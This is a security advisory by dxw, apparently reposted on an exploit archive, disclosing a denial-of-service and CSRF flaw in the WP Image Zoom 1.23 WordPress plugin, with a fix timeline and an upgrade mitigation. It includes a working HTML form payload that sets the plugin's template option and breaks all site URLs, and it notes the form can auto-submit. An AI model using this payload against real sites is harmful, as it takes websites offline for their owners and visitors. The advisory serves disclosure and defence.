WordPress Image Zoom 1.23 Plugin Denial Of Service Vulnerability

Details
================
Software: WP Image Zoom
Version: 1.23
Homepage: http://wordpress.org/plugins/wp-image-zoooom/
Advisory report: https://advisories.dxw.com/advisories/wp-image-zoom-dos/
CVE: Awaiting assignment
CVSS: 7.5 (High; AV:N/AC:L/Au:S/C:N/I:P/A:C)

Description
================
WP Image Zoom allows anybody to cause denial of service

Vulnerability
================
WP Image Zoom includes an AJAX action which allows any logged in user to set any option to a1a. This means that any logged in user can cause a denial of service for all WP URLs by setting the atemplatea option to a1a.
Additionally, this vulnerability can be triggered via CSRF meaning that anybody who can convince a logged in user to follow a link can also cause a denial of service.

Proof of concept
================
Press the submit button in the following HTML snippet:
<form action=\"http://localhost/wp-admin/admin-ajax.php\" method=\"POST\">
 <input type=\"text\" name=\"action\" value=\"iz_dismiss\">
 <input type=\"text\" name=\"option\" value=\"template\">
 <input type=\"submit\">
</form>
This will set the template option to 1 causing fatal errors for any WordPress URL.
In a real attack the form could be set to autosubmit so no user interaction is required except for following a link.

Mitigations
================
Upgrade to version 1.24 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on [email protected] to acknowledge this report if you received it via a third party (for example, [email protected]) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2018-03-20: Discovered
2018-03-27: Reported to author via https://www.silkypress.com/contact/
2018-03-27: Vendor responded
2018-03-29: Vendor reported issue fixed in version 1.24



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.

#  0day.today [2018-04-12]  #